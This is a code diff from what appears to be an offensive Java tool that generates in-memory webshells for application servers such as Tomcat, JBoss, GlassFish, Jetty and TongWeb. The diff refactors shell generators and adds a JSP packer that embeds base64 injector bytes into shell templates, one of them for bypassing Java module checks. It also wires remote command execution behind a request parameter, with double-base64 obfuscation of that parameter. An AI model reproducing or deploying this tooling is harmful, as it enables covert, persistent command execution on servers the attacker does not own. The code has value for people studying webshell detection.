||||||
|
|
||||||
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
|
||||||
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
builder = builder.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
boolean needAddGetFieldValue = false;
|
|
||||||
try {
|
|
||||||
targetClass.getMethod("getFieldValue", Object.class, String.class);
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
needAddGetFieldValue = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(targetClass)
|
|
||||||
.name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
|
||||||
.method(named("getResponseFromRequest"),
|
.method(named("getResponseFromRequest"),
|
||||||
new MethodCallReplaceVisitorWrapper(
|
new MethodCallReplaceVisitorWrapper(
|
||||||
newClassName,
|
newClassName,
|
||||||
@@ -42,17 +31,19 @@ public class ListenerGenerator {
|
|||||||
)
|
)
|
||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
|
|
||||||
if (needAddGetFieldValue) {
|
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
|
||||||
|
.getDeclaredMethods()
|
||||||
|
.filter(named("getFieldValue")
|
||||||
|
.and(takesArguments(Object.class, String.class)))
|
||||||
|
.isEmpty();
|
||||||
|
|
||||||
|
if (methodNotFound) {
|
||||||
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
.withParameters(Object.class, String.class)
|
.withParameters(Object.class, String.class)
|
||||||
|
.throwing(Exception.class)
|
||||||
.intercept(FixedValue.nullValue())
|
.intercept(FixedValue.nullValue())
|
||||||
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||||
}
|
}
|
||||||
|
return builder;
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
|
||||||
return unloaded
|
|
||||||
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
|
|
||||||
.getLoaded();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+19
-30
@@ -1,24 +1,18 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.server.*;
|
||||||
import com.tongweb.web.thor.comet.CometEvent;
|
|
||||||
import com.tongweb.web.thor.connector.Request;
|
|
||||||
import com.tongweb.web.thor.connector.Response;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
import net.bytebuddy.description.field.FieldDescription;
|
import net.bytebuddy.description.field.FieldDescription;
|
||||||
import net.bytebuddy.description.field.FieldList;
|
import net.bytebuddy.description.field.FieldList;
|
||||||
import net.bytebuddy.description.method.MethodList;
|
import net.bytebuddy.description.method.MethodList;
|
||||||
import net.bytebuddy.description.modifier.Visibility;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
|
||||||
import net.bytebuddy.implementation.Implementation;
|
import net.bytebuddy.implementation.Implementation;
|
||||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.jetbrains.annotations.NotNull;
|
import org.jetbrains.annotations.NotNull;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -33,6 +27,23 @@ public class ValveGenerator {
|
|||||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||||
|
|
||||||
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell) {
|
||||||
|
String packageName = null;
|
||||||
|
if (shell instanceof TongWeb6Shell) {
|
||||||
|
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||||
|
} else if (shell instanceof TongWeb7Shell) {
|
||||||
|
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||||
|
} else if (shell instanceof TongWeb8Shell) {
|
||||||
|
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||||
|
} else if (shell instanceof BesShell) {
|
||||||
|
packageName = BES_VALVE_PACKAGE;
|
||||||
|
}
|
||||||
|
if (StringUtils.isEmpty(packageName)) {
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||||
|
}
|
||||||
|
|
||||||
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||||
private final String newPackageName;
|
private final String newPackageName;
|
||||||
|
|
||||||
@@ -75,26 +86,4 @@ public class ValveGenerator {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Class<?> generateValveClass(String packageName, Class<?> targetClass) {
|
|
||||||
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(targetClass)
|
|
||||||
.name(newClassName)
|
|
||||||
.visit(new ValveRenameVisitorWrapper(packageName));
|
|
||||||
|
|
||||||
if (TONGWEB6_VALVE_PACKAGE.equals(packageName)) {
|
|
||||||
builder = builder
|
|
||||||
.defineMethod("getInfo", String.class, Visibility.PUBLIC)
|
|
||||||
.intercept(FixedValue.value(""))
|
|
||||||
.defineMethod("event", void.class, Visibility.PUBLIC)
|
|
||||||
.withParameters(Request.class, Response.class, CometEvent.class)
|
|
||||||
.intercept(FixedValue.originType());
|
|
||||||
}
|
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
|
||||||
return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+11
-28
@@ -1,14 +1,12 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
import net.bytebuddy.description.modifier.Ownership;
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
@@ -24,25 +22,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
public class CommandGenerator {
|
public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final CommandConfig commandConfig;
|
|
||||||
|
|
||||||
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
||||||
this.shellConfig = shellConfig;
|
super(shellConfig, commandConfig);
|
||||||
this.commandConfig = commandConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
@Override
|
||||||
if (commandConfig.getShellClass() == null) {
|
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
throw new IllegalArgumentException("commandConfig.getClazz() == null");
|
|
||||||
}
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName());
|
||||||
.redefine(commandConfig.getShellClass())
|
|
||||||
.name(commandConfig.getShellClassName())
|
|
||||||
.field(named("paramName")).value(commandConfig.getParamName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
@@ -52,35 +41,29 @@ public class CommandGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
|
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||||
builder = builder
|
builder = builder
|
||||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
.method(named("getParam"),
|
.method(named("getParam"),
|
||||||
new MethodCallReplaceVisitorWrapper(
|
new MethodCallReplaceVisitorWrapper(
|
||||||
commandConfig.getShellClassName(),
|
shellToolConfig.getShellClassName(),
|
||||||
Collections.singleton(ShellCommonUtil.class.getName()))
|
Collections.singleton(ShellCommonUtil.class.getName()))
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
.withParameters(String.class)
|
.withParameters(String.class)
|
||||||
|
.throwing(Exception.class)
|
||||||
.intercept(FixedValue.nullValue())
|
.intercept(FixedValue.nullValue())
|
||||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) {
|
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
||||||
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) {
|
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
||||||
}
|
}
|
||||||
|
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
+1
-1
@@ -10,7 +10,7 @@ import net.bytebuddy.asm.Advice;
|
|||||||
public class DoubleBase64ParamInterceptor {
|
public class DoubleBase64ParamInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
|
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
|
||||||
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
|
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
-1
@@ -9,7 +9,6 @@ import com.reajason.javaweb.memshell.packer.Packer;
|
|||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/20
|
* @since 2025/2/20
|
||||||
|
|||||||
+2
-2
@@ -12,11 +12,11 @@ import java.util.Objects;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/26
|
* @since 2024/11/26
|
||||||
*/
|
*/
|
||||||
public class DefalutJspPacker implements Packer {
|
public class ClassLoaderJspPacker implements Packer {
|
||||||
|
|
||||||
String jspTemplate = null;
|
String jspTemplate = null;
|
||||||
|
|
||||||
public DefalutJspPacker() {
|
public ClassLoaderJspPacker() {
|
||||||
try {
|
try {
|
||||||
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
+41
@@ -0,0 +1,41 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jsp;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/26
|
||||||
|
*/
|
||||||
|
public class DefineClassJspPacker implements Packer {
|
||||||
|
|
||||||
|
String template = null;
|
||||||
|
String bypassTemplate = null;
|
||||||
|
|
||||||
|
public DefineClassJspPacker() {
|
||||||
|
try {
|
||||||
|
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
|
||||||
|
bypassTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||||
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
|
String template = this.template;
|
||||||
|
if (generateResult.getShellConfig().needByPassJavaModule()) {
|
||||||
|
template = bypassTemplate;
|
||||||
|
}
|
||||||
|
return template.replace("{{className}}", injectorClassName)
|
||||||
|
.replace("{{base64Str}}", injectorBytesBase64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -18,7 +18,7 @@ public class ApusicShell extends AbstractShell {
|
|||||||
|
|
||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "http"), "response");
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "http"), "response");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,13 +1,12 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -20,7 +19,7 @@ public class GlassFishShell extends AbstractShell {
|
|||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
try {
|
try {
|
||||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -42,10 +41,10 @@ public class GlassFishShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, GlassFishFilterInjector.class)
|
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
|||||||
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -22,8 +22,8 @@ public class InforSuiteShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
|
|||||||
@@ -1,10 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
|
import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -22,9 +23,10 @@ public class JbossShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, JbossListenerInjector.class)
|
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, JbossFilterInjector.class)
|
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||||
.addInjector(VALVE, JbossValveInjector.class)
|
.addInjector(VALVE, JbossValveInjector.class)
|
||||||
|
.addInjector(PROXY_VALVE, JbossProxyValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ public class JettyShell extends AbstractShell {
|
|||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
try {
|
try {
|
||||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ public class ResinShell extends AbstractShell {
|
|||||||
|
|
||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
response = ShellCommonUtil.getFieldValue(request, "_response");
|
response = ShellCommonUtil.getFieldValue(request, "_response");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,9 +2,6 @@ package com.reajason.javaweb.memshell.server;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.generator.ValveGenerator;
|
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -28,27 +25,6 @@ public class ServerToolRegistry {
|
|||||||
if (shellClass == null) {
|
if (shellClass == null) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
|
||||||
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
|
|
||||||
}
|
|
||||||
boolean isValve = (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType));
|
|
||||||
if (isValve && shell instanceof TongWeb6Shell) {
|
|
||||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, shellClass);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isValve && shell instanceof TongWeb7Shell) {
|
|
||||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isValve && shell instanceof TongWeb8Shell) {
|
|
||||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB8_VALVE_PACKAGE, shellClass);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isValve && shell instanceof BesShell) {
|
|
||||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass);
|
|
||||||
}
|
|
||||||
|
|
||||||
toolMappingBuilder.addShellClass(shellType, shellClass);
|
toolMappingBuilder.addShellClass(shellType, shellClass);
|
||||||
}
|
}
|
||||||
shell.addToolMapping(shellTool, toolMappingBuilder.build());
|
